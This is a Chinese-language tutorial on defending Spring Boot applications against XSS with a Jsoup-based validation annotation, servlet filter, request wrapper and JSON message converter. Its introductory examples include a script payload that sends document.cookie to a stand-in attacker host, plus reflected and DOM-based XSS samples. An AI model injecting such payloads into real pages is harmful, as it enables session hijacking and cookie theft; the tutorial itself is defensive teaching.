SpringBoot實現(xiàn)XSS攻擊防御的幾種方式
引言
隨著Web應用的普及,網(wǎng)絡(luò)安全問題也日益凸顯??缯灸_本攻擊(Cross-Site Scripting,簡稱XSS)是一種常見的Web安全漏洞,它允許攻擊者將惡意腳本注入到其他用戶瀏覽和使用的正常網(wǎng)頁中。當其他用戶瀏覽這些網(wǎng)頁時,惡意腳本就會在他們的瀏覽器上執(zhí)行,從而可能導致信息泄露、會話劫持等嚴重后果。XSS攻擊的普遍性和潛在危害性使其成為Web應用安全中不可忽視的一部分。
本文旨在探討如何在Spring Boot應用程序中有效地防御XSS攻擊。我們將介紹兩種主要的防御手段:注解和過濾器。通過這兩種方式,開發(fā)者可以輕松地在Spring Boot應用中實現(xiàn)XSS攻擊的防御,從而保障用戶的數(shù)據(jù)安全和應用的穩(wěn)定運行。
一、XSS攻擊概述
XSS攻擊,全稱為跨站腳本攻擊(Cross-Site Scripting),是一種常見的網(wǎng)絡(luò)攻擊手段。它主要利用了Web應用程序?qū)τ脩糨斎腧炞C的不足,允許攻擊者將惡意腳本注入到其他用戶瀏覽的網(wǎng)頁中。
1.1 XSS攻擊的定義
XSS攻擊是指攻擊者在Web頁面的輸入數(shù)據(jù)中插入惡意腳本,當其他用戶瀏覽該頁面時,這些腳本就會在用戶的瀏覽器上執(zhí)行。由于腳本是在受害用戶的上下文中執(zhí)行的,因此它可以訪問該用戶的所有會話信息和權(quán)限,從而可能導致信息泄露、會話劫持、惡意操作等安全風險。
1.2 XSS攻擊的類型
XSS攻擊主要分為以下三種類型:
- 存儲型XSS(Persistent XSS):惡意腳本被永久存儲在目標服務器上,如數(shù)據(jù)庫、消息論壇、訪客留言等,當用戶訪問相應的網(wǎng)頁時,惡意腳本就會執(zhí)行。
- 反射型XSS(Reflected XSS):惡意腳本并不存儲在目標服務器上,而是通過諸如URL參數(shù)的方式直接在請求響應中反射并執(zhí)行。這種類型的攻擊通常是通過誘使用戶點擊鏈接或訪問特定的URL來實施的。
- 基于DOM的XSS(DOM-based XSS):這種類型的XSS攻擊完全發(fā)生在客戶端,不需要服務器的參與。它通過惡意腳本修改頁面的DOM結(jié)構(gòu),實現(xiàn)攻擊。
1.3 XSS攻擊的攻擊原理及示例
XSS攻擊的基本原理是利用Web應用程序?qū)τ脩糨斎氲男湃?將惡意腳本注入到響應中。當其他用戶訪問包含惡意腳本的頁面時,腳本會在他們的瀏覽器中執(zhí)行。
示例:
- 存儲型XSS攻擊:
攻擊者在一個博客評論系統(tǒng)中提交以下評論:
<script> document.location='http://attacker.com/steal.php?cookie='+document.cookie; </script>
當其他用戶查看這條評論時,他們的cookie會被發(fā)送到攻擊者的服務器。
- 反射型XSS攻擊:
攻擊者構(gòu)造一個惡意URL:
http://example.com/search?q=<script>alert('XSS')</script>
如果服務器直接將搜索詞嵌入到響應中而不進行過濾,用戶點擊此鏈接后會看到一個警告框。
- DOM型XSS攻擊:
假設(shè)網(wǎng)頁中有以下JavaScript代碼:
var name = document.location.hash.substr(1); document.write("歡迎, " + name);
當用戶訪問此URL時,惡意腳本會被執(zhí)行。
二、Spring Boot中的XSS防御手段
在Spring Boot中,我們可以采用多種方式來防御XSS攻擊。下面將詳細介紹兩種常用的防御手段:使用注解和使用過濾器。
2.1 使用注解進行XSS防御
注解是一種輕量級的防御手段,它可以在方法或字段級別對輸入進行校驗,從而防止XSS攻擊。
2.1.1 引入相關(guān)依賴
<!--JSR-303/JSR-380用于驗證的注解 --> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-validation</artifactId> <version>3.2.0</version> </dependency>
2.1.2 使用@XSS注解進行參數(shù)校驗
我們可以自定義一個@XSS注解,用于標記那些需要校驗的參數(shù)。這里是一個簡單的@XSS注解定義:
@Target(value = { ElementType.METHOD, ElementType.FIELD, ElementType.CONSTRUCTOR, ElementType.PARAMETER }) @Retention(RetentionPolicy.RUNTIME) @Constraint(validatedBy = XssValidator.class) public @interface Xss { String message() default "非法輸入, 檢測到潛在的XSS"; Class<?>[] groups() default {}; Class<? extends Payload>[] payload() default {}; }
2.1.3 實現(xiàn)自定義注解處理器
接下來,我們需要實現(xiàn)XSSValidator類,該類將負責檢查輸入是否包含潛在的XSS攻擊腳本:
public class XssValidator implements ConstraintValidator<Xss, String> { /** * 使用自帶的 basicWithImages 白名單 */ private static final Safelist WHITE_LIST = Safelist.relaxed(); /** * 定義輸出設(shè)置,關(guān)閉prettyPrint(prettyPrint=false),目的是避免在清理過程中對代碼進行格式化 * 從而保持輸入和輸出內(nèi)容的一致性。 */ private static final Document.OutputSettings OUTPUT_SETTINGS = new Document.OutputSettings().prettyPrint(false); /** * 驗證輸入值是否有效,即是否包含潛在的XSS攻擊腳本。 * * @param value 輸入值,需要進行XSS攻擊腳本清理。 * @param context 上下文對象,提供關(guān)于驗證環(huán)境的信息,如驗證失敗時的錯誤消息定制。 * @return 如果清理后的值與原始值相同,則返回true,表示輸入值有效;否則返回false,表示輸入值無效。 */ @Override public boolean isValid(String value, ConstraintValidatorContext context) { // 使用Jsoup庫對輸入值進行清理,以移除潛在的XSS攻擊腳本。 // 使用預定義的白名單和輸出設(shè)置來確保只保留安全的HTML元素和屬性。 String cleanedValue = Jsoup.clean(value, "", WHITE_LIST, OUTPUT_SETTINGS); // 比較清理后的值與原始值是否相同,用于判斷輸入值是否有效。 return cleanedValue.equals(value); } }
2.1.4 使用注解
在要進行XSS防御的屬性上添加注解:
@Data @Tag(name = "用戶",description = "用戶登錄類") public class UserLoginDTO { @Xss @NotBlank(message = "賬號不能為空") @Schema(name = "用戶賬號",type = "String") private String userAccount; @Xss @Size(min = 6, max = 18, message = "用戶密碼長度需在6-18位") @Schema(name = "用戶密碼",type = "String") private String password; @Xss @NotBlank(message = "郵箱驗證碼內(nèi)容不能為空") @Schema(name = "郵箱驗證碼",type = "String") private String emailCaptcha; }
在Controller
中的接口添加@Validated
注解:
@PostMapping("/test2") public Result<String> login(@RequestBody @Validated UserLoginDTO userLoginDTO) { return Result.success(); }
2.2 使用過濾器進行XSS防御
2.2.1 引入相關(guān)依賴
<!-- Jsoup依賴 --> <dependency> <groupId>org.jsoup</groupId> <artifactId>jsoup</artifactId> <version>1.17.2</version> </dependency>
2.2.2 編寫配置類
/** * 跨站腳本(XSS)過濾配置類。 */ @Data @Component @ConfigurationProperties(prefix = "xss") public class FilterConfig { /** * 是否啟用XSS過濾。 */ private String enabled; /** * 需要排除的URL模式,這些URL不會進行XSS過濾。 */ private String excludes; /** * 需要應用XSS過濾的URL模式。 */ private String urlPatterns; /** * 注冊XSS過濾器。 * * @return FilterRegistrationBean 用于注冊過濾器的bean。 */ @Bean public FilterRegistrationBean xssFilterRegistration() { FilterRegistrationBean registrationBean = new FilterRegistrationBean(); // 設(shè)置過濾器的分發(fā)類型為請求類型 registrationBean.setDispatcherTypes(DispatcherType.REQUEST); // 創(chuàng)建XssFilter的實例 registrationBean.setFilter(new XssFilter()); // 添加過濾器需要攔截的URL模式,這些模式從配置文件中的"urlPatterns"屬性讀取 registrationBean.addUrlPatterns(StringUtils.split(urlPatterns, ",")); // 設(shè)置過濾器的名稱 registrationBean.setName("XssFilter"); // 設(shè)置過濾器的執(zhí)行順序,數(shù)值越小,優(yōu)先級越高 registrationBean.setOrder(9999); // 創(chuàng)建一個Map,用于存儲過濾器的初始化參數(shù) Map<String, String> initParameters = new HashMap<>(); // 將配置文件中的"excludes"屬性設(shè)置到過濾器的初始化參數(shù)中 initParameters.put("excludes", excludes); // 將配置文件中的"enabled"屬性設(shè)置到過濾器的初始化參數(shù)中 initParameters.put("enabled", enabled); // 將初始化參數(shù)設(shè)置到FilterRegistrationBean中 registrationBean.setInitParameters(initParameters); // 返回FilterRegistrationBean,包含了XssFilter的配置信息 return registrationBean; } }
2.2.3 修改配置文件
xss: enabled: true excludes: url-patterns: /*
2.2.4 創(chuàng)建XSSFilter類
import jakarta.servlet.*; import jakarta.servlet.http.HttpServletRequest; import jakarta.servlet.http.HttpServletResponse; import lombok.extern.slf4j.Slf4j; import org.apache.commons.lang3.StringUtils; import java.io.IOException; import java.util.ArrayList; import java.util.List; import java.util.regex.Matcher; import java.util.regex.Pattern; @Slf4j public class XssFilter implements Filter { /** * 存儲需要排除XSS過濾的URL模式列表。 */ private List<String> excludes = new ArrayList<>(); /** * 是否啟用XSS過濾的標志。 */ private boolean enabled = false; /** * 初始化過濾器,從過濾器配置中讀取排除列表和啟用狀態(tài)。 * * @param filterConfig 過濾器配置對象。 * @throws ServletException 如果初始化過程中出現(xiàn)錯誤。 */ @Override public void init(FilterConfig filterConfig) throws ServletException { String strExcludes = filterConfig.getInitParameter("excludes"); String strEnabled = filterConfig.getInitParameter("enabled"); //將不需要xss過濾的接口添加到列表中 if (StringUtils.isNotEmpty(strExcludes)) { String[] urls = strExcludes.split(","); for (String url : urls) { excludes.add(url); } } if (StringUtils.isNotEmpty(strEnabled)) { enabled = Boolean.valueOf(strEnabled); } } /** * 執(zhí)行過濾邏輯,如果當前請求不在排除列表中,則通過XSS過濾器包裝請求。 * * @param request HTTP請求對象。 * @param response HTTP響應對象。 * @param chain 過濾器鏈對象,用于繼續(xù)或中斷請求處理。 * @throws IOException 如果處理過程中出現(xiàn)I/O錯誤。 * @throws ServletException 如果處理過程中出現(xiàn)Servlet相關(guān)錯誤。 */ @Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) request; HttpServletResponse resp = (HttpServletResponse) response; //如果該訪問接口在排除列表里面則不攔截 if (isExcludeUrl(req.getServletPath())) { chain.doFilter(request, response); return; } log.info("uri:{}", req.getRequestURI()); // xss 過濾 chain.doFilter(new XssWrapper(req), resp); } /** * 銷毀過濾器,釋放資源。 */ @Override public void destroy() { // 無需額外的銷毀邏輯 } /** * 判斷當前請求的URL是否應該被排除在XSS過濾之外。 * * @param urlPath 請求的URL路徑。 * @return 如果請求應該被排除,則返回true;否則返回false。 */ private boolean isExcludeUrl(String urlPath) { if (!enabled) { //如果xss開關(guān)關(guān)閉了,則所有url都不攔截 return true; } if (excludes == null || excludes.isEmpty()) { return false; } String url = urlPath; for (String pattern : excludes) { Pattern p = Pattern.compile("^" + pattern); Matcher m = p.matcher(url); if (m.find()) { return true; } } return false; } }
2.2.5 編寫過濾工具類
/** * XSS過濾工具類,使用Jsoup庫對輸入的字符串進行XSS攻擊防護 */ public class XssUtil { /** * 使用自帶的 basicWithImages 白名單 */ private static final Safelist WHITE_LIST = Safelist.relaxed(); /** * 定義輸出設(shè)置,關(guān)閉prettyPrint(prettyPrint=false),目的是避免在清理過程中對代碼進行格式化 * 從而保持輸入和輸出內(nèi)容的一致性。 */ private static final Document.OutputSettings OUTPUT_SETTINGS = new Document.OutputSettings().prettyPrint(false); /* 初始化白名單策略,允許所有標簽擁有style屬性。 這是因為在富文本編輯中,樣式通常通過style屬性來定義,需要確保這些樣式能夠被保留。 */ static { // 富文本編輯時一些樣式是使用 style 來進行實現(xiàn)的 // 比如紅色字體 style="color:red;" // 所以需要給所有標簽添加 style 屬性 WHITE_LIST.addAttributes(":all", "style"); } /** * 清理輸入的字符串,移除潛在的XSS攻擊代碼。 * * @param content 待清理的字符串,通常是用戶輸入的HTML內(nèi)容。 * @return 清理后的字符串,保證不包含XSS攻擊代碼。 */ public static String clean(String content) { // 使用定義好的白名單策略和輸出設(shè)置清理輸入的字符串 return Jsoup.clean(content, "", WHITE_LIST, OUTPUT_SETTINGS); } }
2.2.6 編寫XSSRequestWrapper類清理腳本
在XSSFilter類中,我們創(chuàng)建了一個新的XSSRequestWrapper
類,該類繼承自HttpServletRequestWrapper
。在這個包裝類中,我們將重寫getParameter
等方法,以清理請求參數(shù)中的潛在XSS腳本。
@Slf4j public class XssWrapper extends HttpServletRequestWrapper { /** * Constructs a request object wrapping the given request. * * @param request The request to wrap * @throws IllegalArgumentException if the request is null */ public XssWrapper(HttpServletRequest request) { super(request); log.info("XssWrapper"); } /** * 對數(shù)組參數(shù)進行特殊字符過濾 */ @Override public String[] getParameterValues(String name) { String[] values = super.getParameterValues(name); if (values == null) { return null; } int count = values.length; String[] encodedValues = new String[count]; for (int i = 0; i < count; i++) { encodedValues[i] = cleanXSS(values[i]); } return encodedValues; } /** * 對參數(shù)中特殊字符進行過濾 */ @Override public String getParameter(String name) { String value = super.getParameter(name); if (StrUtil.isBlank(value)) { return value; } return cleanXSS(value); } /** * 獲取attribute,特殊字符過濾 */ @Override public Object getAttribute(String name) { Object value = super.getAttribute(name); if (value instanceof String && StrUtil.isNotBlank((String) value)) { return cleanXSS((String) value); } return value; } /** * 對請求頭部進行特殊字符過濾 */ @Override public String getHeader(String name) { String value = super.getHeader(name); if (StrUtil.isBlank(value)) { return value; } return cleanXSS(value); } /** * 清理輸入的字符串以防止XSS攻擊 * * @param value 待清理的字符串,通常為用戶輸入或來自不可信源的數(shù)據(jù)。 * @return 清理后的字符串,移除了可能的XSS攻擊代碼。 */ private String cleanXSS(String value) { return XssUtil.clean(value); } }
2.2.7 自定義json消息解析器
在使用springboot中,類似于普通的參數(shù)parameter,attribute,header一類的,可以直接使用過濾器來過濾。而前端發(fā)送回來的json字符串就沒那么方便過濾了??梢钥紤]用自定義json消息解析器來過濾前端傳遞的json。
/** * 在讀取和寫入JSON數(shù)據(jù)時特殊字符避免xss攻擊的消息解析器 * */ public class XSSMappingJackson2HttpMessageConverter extends MappingJackson2HttpMessageConverter { /** * 從HTTP輸入消息中讀取對象,同時應用XSS防護。 * * @param type 類型令牌,表示要讀取的對象類型。 * @param contextClass 上下文類,提供類型解析的上下文信息。 * @param inputMessage HTTP輸入消息,包含要讀取的JSON數(shù)據(jù)。 * @return 從輸入消息中解析出的對象,經(jīng)過XSS防護處理。 * @throws IOException 如果發(fā)生I/O錯誤。 * @throws HttpMessageNotReadableException 如果消息無法讀取。 */ @Override public Object read(Type type, Class contextClass, HttpInputMessage inputMessage) throws IOException, HttpMessageNotReadableException { JavaType javaType = getJavaType(type, contextClass); Object obj = readJavaType(javaType, inputMessage); //得到請求json String json = super.getObjectMapper().writeValueAsString(obj); //過濾特殊字符 String result = XssUtil.clean(json); Object resultObj = super.getObjectMapper().readValue(result, javaType); return resultObj; } /** * 從HTTP輸入消息中讀取指定Java類型的對象,內(nèi)部使用。 * * @param javaType 要讀取的對象的Java類型。 * @param inputMessage HTTP輸入消息,包含要讀取的JSON數(shù)據(jù)。 * @return 從輸入消息中解析出的對象。 * @throws IOException 如果發(fā)生I/O錯誤。 * @throws HttpMessageNotReadableException 如果消息無法讀取。 */ private Object readJavaType(JavaType javaType, HttpInputMessage inputMessage) { try { return super.getObjectMapper().readValue(inputMessage.getBody(), javaType); } catch (IOException ex) { throw new HttpMessageNotReadableException("Could not read JSON: " + ex.getMessage(), ex); } } /** * 將對象寫入HTTP輸出消息,同時應用XSS防護。 * * @param object 要寫入的對象。 * @param outputMessage HTTP輸出消息,對象將被序列化為JSON并寫入此消息。 * @throws IOException 如果發(fā)生I/O錯誤。 * @throws HttpMessageNotWritableException 如果消息無法寫入。 */ @Override protected void writeInternal(Object object, HttpOutputMessage outputMessage) throws IOException, HttpMessageNotWritableException { //得到要輸出的json String json = super.getObjectMapper().writeValueAsString(object); //過濾特殊字符 String result = XssUtil.clean(json); // 輸出 outputMessage.getBody().write(result.getBytes()); } }
然后在啟動類添加:
@Bean public HttpMessageConverters xssHttpMessageConverters() { XSSMappingJackson2HttpMessageConverter xssMappingJackson2HttpMessageConverter = new XSSMappingJackson2HttpMessageConverter(); HttpMessageConverter converter = xssMappingJackson2HttpMessageConverter; return new HttpMessageConverters(converter); }
三、測試
3.1 XSS注解:
如果不符合規(guī)則的字符(例如
<script>alert('XSS');</script>
)會提示非法輸入,檢測到潛在的XSS
,可以看到下面的返回參數(shù)中的message已經(jīng)變?yōu)槟J警告。
3.2 XSS過濾器
XSS過濾器實現(xiàn)的效果是過濾,將前端傳遞參數(shù)進行清理,達到XSS防御的目的。
觀察下面的測試結(jié)果可以知道過濾器成功實現(xiàn)參數(shù)清理。
四、總結(jié)
本文深入探討了在Spring Boot應用程序中如何有效地防御XSS攻擊。我們介紹了兩種主要的防御手段:使用注解和使用過濾器。通過這兩種方式,開發(fā)者可以輕松地在Spring Boot應用中實現(xiàn)XSS攻擊的防御,從而保障用戶的數(shù)據(jù)安全和應用的穩(wěn)定運行,希望對大家有所幫助。
以上就是SpringBoot實現(xiàn)XSS攻擊防御的幾種方式的詳細內(nèi)容,更多關(guān)于SpringBoot防御XSS攻擊的資料請關(guān)注腳本之家其它相關(guān)文章!
相關(guān)文章
輸出java進程的jstack信息示例分享 通過線程堆棧信息分析java線程
通過ps到j(luò)ava進程號將進程的jstack信息輸出。jstack信息是java進程的線程堆棧信息,通過該信息可以分析java的線程阻塞等問題。2014-01-01Java語言實現(xiàn)簡單FTP軟件 FTP連接管理模塊實現(xiàn)(8)
這篇文章主要為大家詳細介紹了Java語言實現(xiàn)簡單FTP軟件,F(xiàn)TP連接管理模塊的實現(xiàn)方法,具有一定的參考價值,感興趣的小伙伴們可以參考一下2017-04-04SpringBoot+Shiro學習之密碼加密和登錄失敗次數(shù)限制示例
本篇文章主要介紹了SpringBoot+Shiro學習之密碼加密和登錄失敗次數(shù)限制示例,可以限制登陸次數(shù),有興趣的同學可以了解一下。2017-03-03